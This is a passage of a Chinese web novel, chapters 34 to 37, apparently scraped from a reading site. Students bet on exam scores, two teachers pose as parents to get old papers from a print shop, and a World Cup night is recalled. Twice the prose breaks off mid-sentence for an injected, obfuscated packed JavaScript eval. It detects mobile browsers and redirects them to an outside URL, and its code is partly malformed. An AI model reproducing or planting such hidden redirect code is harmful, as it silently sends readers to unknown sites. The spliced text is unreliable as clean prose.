还拿不到第一呢!”龙哥话里话外都是沾沾自喜。 这人也是个听不懂潜台词的超级棒锤……多说无益,严鹏飞想带着附中这帮人转头就走。但对面铁了心要逼他们同意,围了一个圈,硬是在这跟他们耗着。 “连这都不敢接吗!那你们真是窝囊,废物,哦,你们整个学校都是废物,还求着跟我们学校合作呢,我看一群垃圾也别白费力气了!” “就是啊,一年能出几个top2?别怪教育资源了,就是你们基因的问题!” 对面就是想激怒他们,垃圾话张口就来,怎么不尊重人怎么来。 冯熠此时也不顾不上拉魏浩了,表情越来愈难看,“吗的,非要在餐厅满嘴喷粪吗?不展现自己优越性活不下去是吧!谁怕谁啊!” “我靠,严鹏飞快答应他,比就比啊!我倒要看看最后是谁笑得出来!”魏浩气得想上去给他们两拳。 “……比可以,规则我们定。我们只比结业考试,四科分数累加。”严鹏飞也有些恼怒,“比赛的人要提前订好,不能临时更改。” 被戳着脊梁骨骂,这已经上升到学校荣誉问题了,再不比真不是人。但严鹏飞也很清楚,他们没法跟西一的人比综合评分,他们学习的时间与进度都比人家少一大截。最有希望的只有看最后一次考试之前,他们能补上来多少。 “行啊,现在就可以定。我考数学,秦泽物理,苏彤化学,白晖城生物。”龙哥自信一挥手,“你们那边呢,不会让这个暴力小辣椒来考生物吧?我记得他在生物那边,也就算得上个中下。” “你!”冯少爷气极,“老子才学了两三个月,你等我学完……”学完……学完……他突然又气短了。世事大多如此,无论是考试还是人,都不会等你完全准备好的时候才到来。 对面四科的人都是金牌预备役。他们这边……没有上一届学长的竞争,严鹏飞在集训里一直保持在化学第一。魏浩虽然好几个月没学数学了,但现在重新捡起来,排名冲得飞快。物理,班长能上,肖姐物理不说前几,怎么说也一直都在高手行列。 他自己呢,他真要上的话,目前确实是团队里最拖后腿的那一个。再加上算总分的话,生物才是最好拿分的那一门,但他们学校确实没有更适合考生物的人选了。 “怕什么,冯哥勇敢上,你初中的时候,一个月都能把中考内容全背完,现在一个月背不完几本书?管他呢,能背几分是几分,多拿一分就是赚。”魏浩拍着他的肩,“我们就爱极限挑战。” “我化学,魏浩数学,肖筠云物理,冯熠生物。”严鹏飞没等冯熠纠结完便一锤定音,“要是你们输了,我加一个要求,请务必,为你们的狂言道歉,不管这是不是属于垃圾话的范畴。” 于是等唐瑜嫣和宋飞珑开了一整天会,培了一整天训出来,就听到了这个宛若五雷轰顶的消息—— “唐老师,宋校!不好了!我们学校的学生,和西德的学生,在餐厅,吵起来了,还赌,谁考的低谁不配为人!谁下跪道歉!”有人气喘吁吁地冲来报。 34. 第 34 章 “要我说,西一领导真是个人才,既然答应授权我们内部试卷复印权了,居然还让我们自己问各科老师要,这什么效率。”唐瑜嫣提着她的笔记本,跟宋飞珑从大教室里并肩走出来。 宋校有些无奈地给她顺毛,“人家辛辛苦苦出的卷子,免费授权给我们已经很大度了……让我想想有什么更快捷的办法。” “哎……你把这些卷子看成宝贝,学生们可不这么觉得。哦,不只我们学生,他们学生也是……”唐瑜嫣用下巴指了指走廊上堆地乱七八糟的试卷,“不怪他们,我自己上学的时候也讨厌卷子,东一张西一张,想找的时候永远找不到。” “那我们直接从年级组前面的架子上各顺一两张回去?”宋飞珑笑得很没道德,“感觉这里的往期试卷是最齐的,可以少费很多功夫。而且他们老师肯定会多印,指不定到时候还得感谢我们,以身入局,为他们处理垃圾呢!” 他不是渣,他只是想给所有试卷一个家。 “你开玩笑也小声一点呢?想让全世界都知道吗?”周围路过的学生都在用诧异地眼神盯着他们,唐瑜嫣赶紧低下头,丢不起这个脸。 这时她又突然灵光一闪,她让宋飞珑附耳过来,小小声声地说:“哎,你别说,我还真有个点子,不过需要你配合。”光天化日朗朗乾坤之下,这种薅没人要的东西的小算计属实是很难大声说出口。 “怎么说?”宋飞珑把耳朵凑过去,听她神神秘秘地讲完之后,忍不住夸赞:“天呐小唐,你简直就是天才。” 唐瑜嫣挺直了腰,开始翘尾巴,“是吧,比你一个一个问去找卷子实在多了,还有可持续性。” 好了,就在这时,伴随着所有人齐刷刷的目光,那个惨绝人寰的坏消息传了过来—— “唐老师,宋校!不好了!我们学校的学生,和西德的学生,在餐厅,吵起来了,还赌,谁考的低谁不配为人!谁下跪道歉!” “什么玩意?”唐瑜嫣无语哽咽,“这才第几天啊?你最好能告诉我是对方先挑起来的。” “是的是的是的。”那老师点头如捣蒜,“对方有个叫龙哥的小同学,带着一帮人在食堂堵魏浩,小冯和小严下课后,也带了一帮人去给他撑腰。” “哎~我们是占理的这边就行。”宋校长很满意,“思想与道德课没白教。” “行在哪我请问?行在不是人和下跪吗?”唐瑜嫣抬手给他一肘,又急匆匆地问,“你在等什么?走啊!去看看这帮小崽子要干什么?” 虽然已经深谙新闻传播学的奥妙,唐瑜嫣还是有些烦躁,自己平时逗逗那帮崽子就算了,还轮不到别的学校的人欺负。 “慢点、慢点小唐!”宋飞珑被她拽着走,险些跟不上节奏,“我们学校的孩子没那么容易被欺负的!”说得还挺骄傲。 面对来势汹汹的唐老师,刚刚还气焰轰天的几位英雄豪杰腆着脸笑,眼观鼻鼻观心,有种任凭发落的悲壮。 “小唐老师,这真不能怪他们。”肖筠云当时跟着一群姑娘成群结队上厕所,排队排了一长龙,所以并不在第一现场。 回来后莫名其妙就听说了自己被拉上一起考试的事。这姑娘本身也是个心气大的主,于是想都不想,就表示会尽自己最大的努力。 她推了推眼镜,帮魏浩他们解释,“我认为是对面欺人太甚,把我们整个附中一起骂上了,我们应战只是正当防备。” “是啊!”冯熠见班长大人先开口,立马接着搭腔,“最烦看不起人的人,自己脑子有泡,还出来讽刺我们报复社会,我真要帮他们重建一下语言体系了。” 唐瑜嫣原先面无表情地捏着宋飞珑的手指,试图催眠自己捏的是气泡膜。听他们一个一个陈完情,突然冷静了下来。 啧,也是,他们都是冲着金奖去的,迟早都要和别的省的顶尖高手碰一碰。除了他们不一定能完全准备充分,早点碰到也不算是件坏事。 “……你们有分寸就好,我是怕你们看洋柿子小说看坏了脑子。” 刚说完她就想起今天听课的时候,那劳什子心理学专家才说过,希望老师们不要做一个扫兴的大人,无论是在行动上还是言语上。 她将继续泼冷水的念头摁了回去,换上不甚熟练地鼓励,“至少还有一个月,只比最终考试成绩还是有机会的。” “嗨呀最近这么忙,哪有时间看小说是不?退一万步来说,真要这么形容,对面那位才是真龙傲天嘛。”冯熠干笑了两声,“还有,唐老师啊,我瞅着宋校脸都红透了,您消消气,把他的手还回去呗!” 哎哟这话说的,一生喜好听八卦的中国人立马全吻了上来,对他俩牵着的手挤眉弄眼,视线赤裸裸的,像要把她灼穿。 “嘤,小唐,你弄疼我了~”宋飞珑看大家注视过来,高兴得装起来了,像个被无情渣男伤害的柔弱恋爱脑少女。 唐瑜嫣却反常地没像平时那般脚趾抠地,反而若有所思地看着他,还上手捏他的脸,“既然这样,那待会儿我扮父亲你扮母亲吧,我感觉挺合适的!” “没假发没裙子没化妆,下次一定……这次还是你扮忧心忡忡的妻子,我扮随声附和的丈夫吧。”宋公子立马收了神通,真诚建议。 “不是喜欢装吗?给你机会还不上呢?”唐瑜嫣揶揄道,“好了,英雄豪杰们,接下来一个月的日子可不好过啊!所以有没有人愿意抽空外出一下,带你们尊贵的校长去平时复印资料的地方。” 虽然不知道他俩葫芦里卖的什么药,肖筠云还是站起来给他们带路。 看来学生这边也这样,你要说西一诚心,那它确实也有不诚心的地方,净给人捅点软刀子,学习也学不纯粹。但你又有求于他,有些事儿在明面上也只能忍气吞声。 西一虽然开放了集训,让其他学校只要交学费,都可以把学生送过来。对于这种层次的集训而言,能靠钱加入已经是轻松的方式了。 但与此同时,人也很过分的,只给自己的学生提供便利。除了考试用的试卷外,所有其他相关资料,包括老师上课的知识点和作业题,都不会帮他们打印出来,就好像心疼复印要的那点费用似的。 因此,其他学校只能依靠各自的班长,自行去和各科助教老师对接。这也就算了,既然如此,那你就把这次集训需要的资料一次性发过来呗,大不了多找几个人过来搬,也不是件困难事儿。 谁能想这助教听完他们建议,冷笑一声,大抵是想讽刺他们的天真,“我们教授平时很忙的,来教你们本来就不容易,哪有空还帮你们把资料整理好?每天能按时发给你们已经很不错了。”话里话外都是叫他们按程序走,不要耍小聪明。 肖筠云想破脑袋都想不明白,把一整个文件夹拖到聊天框到底能有多复杂,而且每天发难道不是更麻烦吗?明明是两边都受益的事,为什么说得好像学生们在白占他们便宜一样。 这样搞得大家都苦不堪言。甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406483|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至有好几次,到凌晨了助教才想起来把第二天需要用到的文件发给他们,人都睡了又醒三圈了。 本来平时上课就累得够呛,制度还如此不人性化,以至于他们还要再腾出时间,外出去打印资料。 偏偏自发打印就算了,你还不早点发,半夜三更才发过来,想找人轮班都找不到个影。 于是连着好几个大清早,班长们都顶着黑眼圈,带着冲天的怨念提前爬起床,跋涉千米到学校外的文印店排着队打印。 好在助教那边是迂腐不堪,学生们这边是集思广益,另辟蹊径。连吃了好几次哑巴亏后,有人提议,要不他们去加文印室老板的联系方式,这样就可以提前把文件和需要的份数发过去,省去排队的时间。 既然如此,他们又加了一点钱,让老板打完后把资料放到门卫室,这样就可以再少跑一大段路。 最后大家轮岗,一天归一个学校搬,回来再各自分发,减少每次出动的人力物力。一来一回,倒成了产业链一条龙。 经此一遭,近期文印店的老板挣得可算是盆满钵满,天天笑得合不拢嘴,肚子都圆了几圈。 不少学生暗地吐槽,西一是不是和这打印资料的地儿有什么不为人知的经济往来,不然这方圆百里,怎么会没有第二家人过来抢他们生意?简直是不符合市场发展逻辑。 “好了小肖,你先回学校吧,跟我们一起过去会穿帮的。”马路对面就是文印店,唐瑜嫣连忙抬手,告诉肖筠云不用带路了。 “唐老师,宋校……你们好像是去打劫的。”肖筠云看着他俩的变装欲言又止。 “哎!对咯,就是去打劫的!”宋飞珑眉飞色舞。 “别这么嚣张,你先把这外套脱一下,太贵气了,套件黑的在最外面,弄皱一点……再带个方框眼镜,哎对,头发也抓乱一点,居家一点。裤子?裤子不用管了,反正一般人看不出来你下装的价格的。” 唐瑜嫣对着宋某人指手画脚,看着最终成果颇为满意,简直老了十几岁。她自己呢?她扎了个低马尾,松松垮垮地塌在肩上。外面套了一件借来的针织衬衫,绣了好几朵红艳艳的牡丹花。 这两人就这么晃悠着进店了。 因着这集训蹭到的肉汤,钱老板最近日子过得滋润极了。太阳刚落山就准备关门歇业,接孩子放学,给老婆做饭,一家人和和美美。 今天也是这般,他刚准备把电脑关上,文印店却来了两位客人,大抵是一对称不上中年的夫妻,好像还在吵些什么。 他猜想,估计又是关于孩子学习的事,来这的十对夫妻,有九对都是因为这个吵起来的。 秉承的来者是客的理念,钱老板决定干完今天最后一票,他拍着滚圆的肚子从收银台后面走出来,问:“两位要复印什么吗?照片证件、试卷笔记,我们打印机都是最高级的,保证印出来没阴影。” 他刚说完就听见那男人叹了一声气,“老板,不是我们想碍着您去享受天伦之乐,实在是不知道要印什么啊!” 还没等他回话,一旁的妻子就像被点燃的炮仗,气得火冒三丈,“那还不怪你!一天天的,把孩子给宠坏了!” “孩子现在高三了,连张复习卷都翻不出来!让他和周围同学借来复印一下,又跟我说什么,社恐,不熟?我想给他找点资料复习都找不到!老师上课要用怎么办!说话啊!” “老板,你来评评理!你说我们做父母的,现在能怎么办?” 35. 第 35 章 “哎,姑娘,哦不,夫人啊!”这理店长哪敢乱评,说得直白点,这可是人家的家务事。他连连摆手,“要不您和您孩子的班主任商量一下?班主任那肯定有多的卷子,再不济……” 这话一出,面前那对夫妇的脸色变得愈发难看,男人抿唇看了一眼他妻子,小心翼翼地开口:“老板,您有所不知。事情要是真有这么简单就好了……” “可,问题就在于,高二的时候,我儿子他们班换了一个班主任,两个班主任的工作交接出了问题,把以前的资料全删了……连他们班往年的期考成绩都是靠翻学校档案翻出来的。” “我是不是跟你说了,你管他往年试卷是不是丢了呢!我们就问老师要高三的卷子,你多此一举,问高一高二的干什么?人家……”他妻子又开口打断。 “高三才上了几个月?别人家孩子把以前的卷子都翻出来,带去学校复习了,就我们家孩子没有,这不是很……” 眼见着他们在店里推搡起来,店长吓得冷汗直流,手在空中乱舞,哆哆嗦嗦地抖动腹部的“富贵圈”说:“两位,两位先别急。不要让孩子的事儿伤了大家的和气啊!哎哟,我这,我这说不准有你们需要的试卷文档。” 看着对面转愤怒为惊喜的神情,老板突然感到满意自豪,声音突然有底气了,“二位啊,要知道,这方圆百里,只有我一家做复印生意。这西德一中的学生哪个没在我这打印过文件?这几年的文档都留在电脑里没删。你们来找找,孩子都缺了哪几张?” 说完客观事实,他还忍不住再显摆吹嘘一二,“嗨,你们是不知道,论试卷资料的收集程度,我敢称第二,这儿没人敢称第一!” 对吗对吗?哦对的对的对的!宋飞珑和唐瑜嫣对视了一眼,眼睛里明晃晃地写着,“哇哦!鱼儿上钩了!” “……老板,这,我也不知道他缺了哪几张啊。咱俩都没文化,工作了这么多年,更看不懂现在的孩子们在学什么。” “要不,老板您加我一个联系方式,把这几年所有的卷子一起发给我,我拿回家给孩子自己看看?” 宋飞珑找了一个最合适的角度,低垂着头,让漫进店内的夕阳晃晃洒在脸上。明暗交替中,他从内而外地展露出自己人生中年将至,作为家庭上下的顶梁柱,一举一动都包含的说不出的无奈与脆弱感。 这莫名打动了同为家庭栋梁的钱老板。他原先还有些怀疑,现在只剩同情。 他猛地拍了拍宋飞珑的肩,爆发出激情,郑重鼓励道:“老弟,你是八零后吧,结婚早?我懂你!老哥我啊……当年也过了一段苦日子,都是这么熬过来的,都是吃了没文化的亏啊!” “不过我媳妇生的晚,儿子现在刚上小学。说不准啊,以后教孩子,我还得向你取经呢!” 他把自己绿色泡泡的身份二维码递到宋飞珑跟前,压低声音:“我们家那位呢,也是个母老虎。老弟啊,怪不得我刚见你进来的时候,就很看好你,此子不是池中物啊!”唾沫星子快喷到宋飞珑脸上了。 可惜他过于激动,压低的声音并不低,只是从百米之外听得清到十米之内听得清而已。唐瑜嫣被迫听完了全程,现在只想扒拉着宋飞珑狂笑。 她压抑着笑意,“你们谈好没有啊!啰啰嗦嗦,大姑娘似的。” “……那还是你家的更胜一筹!”钱老板感慨,“老弟放心吧,我现在就把所有试卷都给你发过去,哦,不止,以后的试卷出一张,我给你发一张。钱哥就这么仗义!” “想当年我……现在算是安定下来了………我那帮兄弟们……” 也不知钱老板是不是真的常年走南闯北,还是上了点年纪,有些阅历的男人都这样。 不管逻辑通不通顺,时机对不对应。一口酒入肚,或是一个话头开场,只要有机会让他们张口显摆,江湖气便引了出来,三句话以内,总要拐到自己的光辉岁月上。 宋飞珑简直要被这都市尚存的江湖感动了,毕竟帮他们省了这么多事,不感动都难。他连连拍着店长的肩膀,两人好似就地结拜,连道别的时候都依依不舍。 “老弟啊……下次再来啊,我带你见我那几个哥哥。咱哥几个喝一杯。” 宋飞珑疑似一步三回头,连过了好几条街,才忍不住搂着唐瑜嫣的肩笑出来,“哎哟,这老板说话太好玩了……哥几个……老弟……都哥们,那还说啥了?” 唐瑜嫣也笑个不停:“我真没想到……这店长的性格哈哈哈。我只是觉得文印店肯定有很多原卷……” “我上大学那会儿,有几个江湖传言深入人心,你不管问谁都能得到这个答案。” “其中最重量级的那个,就是期末想找提纲和往年试卷,要去文印室而不是教务处。因为文印室老板有个“不为人知”的小秘密,他喜欢半夜偷偷收藏被拖进回收站里的学生测试题哈哈哈哈哈哈哈。” “学无止境啊,佩服佩服!” 他俩笑得前仰后合,腿站不直,腰也软了。索性相互搀扶着继续沿这条路往前摸索,最终是在路灯边找了个长椅,靠着椅背滑了下来。 坐下来缓了好一会儿,唐瑜嫣才重新喘上气,她转头打量四周,“我们这是逛哪来了?” 笑意总算释放完毕。没有了他们两个外来人口的干扰,清脆的鸟鸣声终于有机会清晰地落进她耳中,哦,里面还混杂着几缕未歇的人声。 无可否认的是,此时此刻,此情此景,鸟是自然的主角,人是象征着炊烟的陪衬。 她断定他们跑进了一个开放式公园,这儿环境显然不错,各种叫不出名字的鸟禽在林间到处穿行,数不胜数。 在文印室耽搁许久,太阳已然下班,那出于诗歌中,介于永恒与虚无的蓝调时刻温柔降临,试图托住所有过路人的忧郁悲伤。 可他们身处的的蓝调却并非冷清。晚饭吃得早的大爷们集体出门遛弯,双手前后击掌,似在舒活筋骨。 放学的孩子们相互炫耀着崭新的文具,在公园躲藏着,不愿立马回家,喝母亲早早熬好的那一碗热汤。 于唐瑜嫣和宋飞珑而言,此时的深蓝,是天空希望跟他们共享情绪的请求。他们所倚靠的长椅正对远江,那广阔无边的江面上潮水浩荡,与层叠的天色相互晕染,聚合着揉碎的灯光。 宋飞珑向她挥了挥传来一大堆文档的手机聊天界面,唐瑜嫣一把抓住他的手,“哎哟 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“我吗?那当然是想的。” “不说别的,现在金牌人数翻倍,拿金牌的难度大大减弱。要是换到今年考,我那枚银牌就该是金的了。” “而且,以前的教学资源哪能和现在比?对考试方向的把握程度,对题型的理解,这都是以前比不了的。但换句话说,我们学校竞赛部能有今天这样的发展,也归功于我们当年,把能踩的坑全踩了。” 唐瑜嫣难得拖着嗓子说话,尾音长长的,显得有些温柔,像给自己留钩子,“宋飞珑,况且,我和展姐,段辰一致认为,我们当年一年能拿三块银牌,也离不开你先前干的事儿……你看,冥冥之中,你的遗憾也算一种前人栽树,后人乘凉,吾道先路。” “或许吧,你们能这么想我还挺高兴的,但我一直认为,于我个人而言,竞赛没拿牌并不遗憾……哎呀,这么一说,距离我当学生的日子,好像已经过去了好多年了。” “话说小唐,如果你是我学姐,你会邀请我学化学竞赛吗?” 唐瑜嫣也随着他仰头望天,各层次的蓝逐渐交汇,晕出了片片面面的克莱因色。 虽然有些不着边际,因为她真的很想知道,远方的萨克斯是否能鼓动它的腔管,吉他的琴弦与钢琴的音键是否能奏出高空之歌。 “会的,宋飞珑,会的。虽然我认为,你不论做什么都能做的很好,你已经构筑了自己的行事逻辑,但……世界上没有比你已经选择的路更适合你经历的了。” “这好像是一个很玄妙的话题,我们所经历的一桩桩事,认识的一个个伙伴,都潜移默化的,让我们拼凑组成了自己。” “所以,以我之见,改变过去本身就是个悖论,过去改变了,我们的人生路径就改变了,而连带着的,我们如今在这谈论改变这件事本身,就不会存在了。进而言之……或许我们就不会再一起经历这么多事了。” “但我不想这样,与你深交是我人生中的最大事变。无论如何,我都始终喜爱这条已经形成的世界线。” 36. 第 36 章 时间在唐瑜嫣身上同样过得很快,眨眼间,她已经被宋飞珑忽悠来学竞赛半年多了,基础再刷题和背诵中逐渐打牢,他们也逐渐适应了每天都在学习海量新知识的生活。 在升高二这个暑假,老陈送来了外培集训营的宣传单,让他们按自身情况,从中选一个适合的去学习,学校帮忙报销费用。 为了创造足够的说服力,吸引更多学生选择。宣传单一个赛一个的花花绿绿、姹紫嫣红。将机构主打的名师吹得天上地下,荣誉排版得密密麻麻。学校已然是帮忙筛掉了一大批,依旧有很多流到了学生手中。 “我真服了,小唐你看,连优秀组织委员,千禧年全能舞者,在校时校园十佳歌手这种称号都要水上来吗。他干脆也别当竞赛教授了,出道算了呗。” 展妙无语地戳着传单上的彩色字迹,上面“歌手”二字经她猛烈地戳击,从中异裂出一个洞,留了个孤零零的“哥三”在纸上,待后人辨认。 唐瑜嫣不想让这个传单再祸害他人,刷啦一下从她手上抽出那张传单,揉成一团,干脆利落地投向垃圾桶,“骗钱的,下一个。” “哎,小唐,展姐。我们干脆直接找个大机构算了,至少有信誉分。”段辰对着自己前面那一沓传单挠头唉声叹气。 这帮搞宣传的最会玩文字游戏,就像志愿报名,眼视光学和眼视光医学是两个截然不同的学科,而智能建造和土木工程又是一门学科一样让人迷惑。 唐瑜嫣也这么想,这一个个看太痛苦了,小机构容易踩雷,远不如大机构省心。她从里面抽了一张出来,有气无力地拍在桌上,“干脆就这个吧,著名大机构,还在宋飞珑他们学校设点,总不至于坑我们。” 此话一出,立马得到了另两位筛细节筛得头昏眼花的同志的一致认可,“就这个了!早就想去老宋学校看看了!顺便让他带我们游游苏杭。” 就这样认真又草率地做好决定后,他们向老陈上交了报名表。跟其他同学一块儿放暑假回家,等待集训到来。 谁能想,一次数十年难得一遇的意外横空出世,破坏了不知道多少人的计划,搅乱了不知道多少人的生活。 他们并不是先知,在仅仅抱了几本书回家,把大部分身家都留在了竞赛部的时候,也不可能想的到,他们短暂的十天暑假,最后竟变成了足足数月漫长无边的等待。 大型集会被禁止,外省集训迫不得已临时取消,他们不得不居家学习。虽然唐瑜嫣从来不说,但在那期间,她确实时时刻刻在焦虑自己的未来。 学也学不好,休息也并不安心,那时候“网课”这一名词刚刚兴起,老师与学生们都并无经验。上课效率低下,网络延迟严重,终日呆在房间一隅,心情郁闷,学习氛围淡薄,这都是他们不得不去克服的。 而作为外省大学生的宋飞珑,更是在宿舍里被锁了好几十天,连澡都不让洗。在学生们被扣了一个多月后,学校终于找到机会,把他们遣返回了家。 因此,集训的事儿就这么一拖再拖,好几个月的时间就这么白白流逝,等唐瑜嫣再次从家回到铁山时,又一年冬天悄然降临了。 那时候很多具体的事儿唐瑜嫣已经快记不清了,现在让她描绘,她只能说出一些感受类的词语。 而且很奇怪,明明当时,写试卷几乎占据了他们生活的所有时间,但她现在回想起的,却全是为数不多的归于快乐的心情。 那好像是一个高考生刚考完月考的周末,学校因故不让大家回家。但他们已经在铁山连呆了十三天,也就意味着他们与亲朋好友、网络社会断连了十三天。 而回南天的潮湿天气是压倒骆驼的最后一根稻草,大家只带了仅供一周的日常衣物,学校没有洗衣机,大家只得硬着头皮在冰水中自行手洗。 这还没完,等到他们双手泡胀发白,拿着晾衣杆,撑着衣服想往阳台挂的时候,又猛然发现,阳台上空间有限,前几天洗完没干的衣服裤子已经交错拥挤在一块儿。 如今再往上挂是只出不进,出口产品越积越多。最终,所有的换洗衣物齐聚阳台。 看着空空如也的衣柜,大家才后知后觉地意识到,啊,他们没衣服穿了。 又总不能在学校里裸奔吧?先不说合不合乎周礼,21世纪也不是适合浴乎沂,风乎舞雩,咏而归的温暖期。 想不出更好的办法,大家最终只能选择取下相比之下最干的衣服,再用吹风机加工。但吹的效果有限,吹完之后只是从三成干变成六成干,肋眼不像肋眼,西冷不像西冷。 这些带着水汽的衣物紧贴着皮肤,像无形的手,扣挠出大家心中难言的焦躁。 校领导们意识到,再不让大家休息一下,指不定真要出事。开了几次会议后,他们抓耳挠腮地想出了一个解决之法。 当时万众瞩目的世界杯火热开幕,那些叫得出叫不出名字的选手,承载着各自的梦想与荣光,在绿茵场上奋力拼搏。 不知道是不是老师中也有球迷,在学生们凌晨四点偷偷摸摸在被窝里戴着收音耳机,听实况转播时,也盯着手机小小的发光屏幕,期待着喜欢的选手踢进绝胜一球。 他们提议,要不允许孩子们通宵一晚上,在体育馆拿巨幕大屏转播决赛吧。 毕竟无数人都期待着那位传奇球王在退役前,能再度捧起一座象征璀璨光荣的大力神杯。 总之这个提议通过了,那天晚上,平时空旷宽敞的体育馆挤满了人。长久未与外界相通,他们难得无需担心传染问题,进行一次囊括数千人的狂欢。 不过唐瑜嫣并没有看球赛,她连足球的规则都搞不懂,也不认识那些球员。她和展妙窝在竞赛部,开着一体机看电影,享受私人影院的服务待遇。 那部影片是什么来着,哦,好像是《教父》。唐瑜嫣想起来了,她很喜欢里面的老教父,很喜欢他说的一句话,“友谊就是一切,友谊比天赋更重要,几乎和家庭同等重要。” 或许是看这部电影的时候年纪尚轻,她的三观受其影响颇深——在唐瑜嫣的心里,爱情和友情同样伟大。 她记得这句台词响起时,她不经意偏头,展妙对她抬眼一笑,灿烂的笑容明媚耀眼,唐瑜嫣心头一震。 那一刻,她明白自己已经有了世界上最好的友情了。 “那宋飞珑呢?”她莫名想到了这位脑回路清奇的学长,跟他在一起的感觉跟与展妙和段辰一起时不大一样,“也是挚友吗?好久没见,还真有些想他了。发消息问问他在做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406485|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 她刚掏出手机,门就被段辰撞开。这位阿根廷队的狂热粉丝左脸贴着蓝白贴纸,身上穿着蓝白相间的衬衫。进来那一刹那,他如高猿长啸:“阿根廷牛逼!梅西牛逼!点球大战!神!” “好哦!神之一脚!经典重现!”展妙也弹射起来挥舞双臂,还抽空拽了一把唐瑜嫣,“小唐,一起来啊!” “不儿,咱们也没看……” “哎哟,别扫兴嘛!” “……行。好!那什么……点球!酷毙了!” 充满内涵的电影鉴赏在他们仨一唱两和下秒变猴王争霸之两岸猿声啼不住。 段辰旋转跳跃地滑到她们跟前,手上的宵夜和汽水往桌上豪迈地一磕,“为庆祝现役最伟大的球员捧杯,今天的消费由段公子买单!” “段辰你这…”这生活费够他造几天的,别学宋姓男子装大款了吧……算了孩子难得高兴一次,让孩子炫炫怎么了,大不了月底让他蹭几天饭补回来。 唐瑜嫣拨开了热气腾腾的袋子,看见里面的炸得金黄的大鸡腿,有些震惊:“都快三点了,食堂还供应吗?” “仅此一天啊!小卖部也开着呢!”段辰得意地帮他们开着汽水,“学校难得做一回人!” “快!把这话讲给你宋哥听,这才是个能做主的!让学校天天做人也就他一句话的事。”唐瑜嫣怂恿。 “这话说的,我哪敢呢?不过我给宋哥也买了一个鸡腿。小唐,上,现在就打个视频电话给他,咱们让他云享用一下!”段辰想得挺美,给他赛博云完了,鸡腿本体就留给自己享用了。 “哎!好主意,老宋是不是前段时间又回学校了?那他现在肯定在饥饿状态,我们快去馋馋他!”展妙很支持他拱火,深夜放毒,这太对了。 唐瑜嫣点开聊天软件,看着手机上端闪烁的时间,有些无奈,“这个点他还没睡吗,他应该不看球吧?” “哎哟!打吧打吧,你的电话他肯定会接的!”展妙看她纠结,恨不得直接上手摁下去。 唐瑜嫣把她作乱的手挥开,发了一句试探,“你睡了吗?” 对面秒回,“在睡,睡不着,阿根廷夺冠了,舍友在旁边鬼哭狼嚎呢!” “……打电话吧,段辰也在旁边鬼哭狼嚎。” 说完唐瑜嫣就发送了视频申请。过了好一会儿对面才接通。随即屏幕上出现了一个头发乱翘的脑袋,“晚…哦不,早啊!”宋飞珑弄了点水,把头发扒拉平,“哎哟!都在啊,你们也在看世界杯!” “我没看,好多人看了,校领导在体育馆放了投屏。” 唐瑜嫣简要介绍了一下,眼神一直盯着宋飞珑背后一位舍友,这哥们好像太兴奋了,也肯定喝多了,在窗户边手舞足蹈地唱《Muchachos,AhoraNosVolvimosaIlusionar》,看起来摇摇欲坠,准备从栏杆里端翻身而下。 “哎!你别看他啊,看我!”虽然嘴上这么说,宋飞珑还是侧身给她展示了一下旁边一桌子的酒瓶,“我舍友们都喝了点。没事,我看着呢。他们在和对面宿舍楼对唱,现在这片儿灯火通明的。” “你们呢?大半夜打电话过来,总不可能是让我起来重睡的吧!” 37. 第 37 章 “害,怎么可能!宋哥,我们是来跟您分享快乐的!”段辰把脑袋挤过来,向他展示着鸡腿,“这是给您上贡的,虽然现在吃不到嘴里。但您可以沿着网线隔空嗅一嗅。” 不知道这抽到了宋公子哪条筋,唐瑜嫣刚想说别理他,这人醉汽水了。没想到对面那人竟龙颜大悦,从旁边摸了一盒舍友弄来的鸡块,看起来很高兴,“哎!正好,我也有,咱一块儿吃!” 唐瑜嫣目瞪口呆,然后手上就被段辰塞了一个鸡腿,这人主队夺冠后精神那叫一个亢奋,恨不得自己也能加入宋飞珑舍友的酒局与对唱。 “来来来,咱们也碰一个!”他举起鸡腿,手舞足蹈地往唐瑜嫣和展妙手上挥,边碰边说,“哎哟,宋哥,我就不霍霍小唐手机屏幕了,靠近意思一下哈!” “哎好!我干了,你们随意!”宋飞珑把鸡块一口闷了,并向他们展示自己空空如也的手。 “窝耶干了!”段辰不知道在较什么劲,三两下就一囫囵把一整个大鸡腿拆了个干净,举起光秃秃的鸡骨头炫耀了一圈。 唐瑜嫣堪堪咬了一两口,那个属于她的鸡腿别说血皮,连护盾都不一定被破开。她见状立马摆手表明自己甘拜下风,比不了,真比不了。 “老宋,想你了。外培什么时候才能恢复啊,感觉我们与世隔绝好一段日子了。”展妙拨弄着玻璃汽水瓶,帮唐瑜嫣说出了她的心声。 “是啊,老陈每天都说快了快了,明日复明日,明日何其多啊!”段辰今天就跟喝了假酒一样,话明显多了起来,吃饱喝足后还对着空气打了一套军体拳。 “不知道啊,导员没说,不加学分。”宋飞珑顺口回答了一个标准答案,“哎…我也很想你们呢,一日不见,如隔三秋,我们快隔出几甲子了。说实话我感觉,我现在就像你们的外国网友Peter,每天都等着李华帮你们代笔回信。” 他嘴一边说,眼神一直盯着这边在打醉拳的段辰。在他眼里,今晚的段辰就像一个被激发了奇怪属性的神奇动物,活奔乱跳的。 